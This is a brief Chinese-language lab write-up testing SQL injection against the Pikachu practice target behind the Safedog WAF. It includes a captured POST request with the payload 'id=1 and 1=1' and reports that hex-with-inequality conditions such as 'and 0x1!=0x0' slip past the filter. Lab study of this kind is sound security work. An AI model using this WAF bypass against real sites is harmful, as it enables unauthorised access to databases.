一、环境
2、Pikachu靶机
3、安全狗最新版
二、BurpSuite2022抓包，点击获取下载地址
1、正常访问结果
2、抓取POST包，并修改，加入and 1=1，提示被拦截
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 Host: localhost Content-Length: 21 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/pikachu/vul/sqli/sqli_id.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=vm1gpr93kn5nat0e23qft4tsg7 Connection: close id=1 and 1=1&submit=1
3、将and 1=1修改为and 0x1!=0x1肯定不成立，返回不存在，再修改为and 0x1!=0x0，返回用户名，说明“十六进制+不等于”可以绕过该WAF。
禁止非法，后果自负
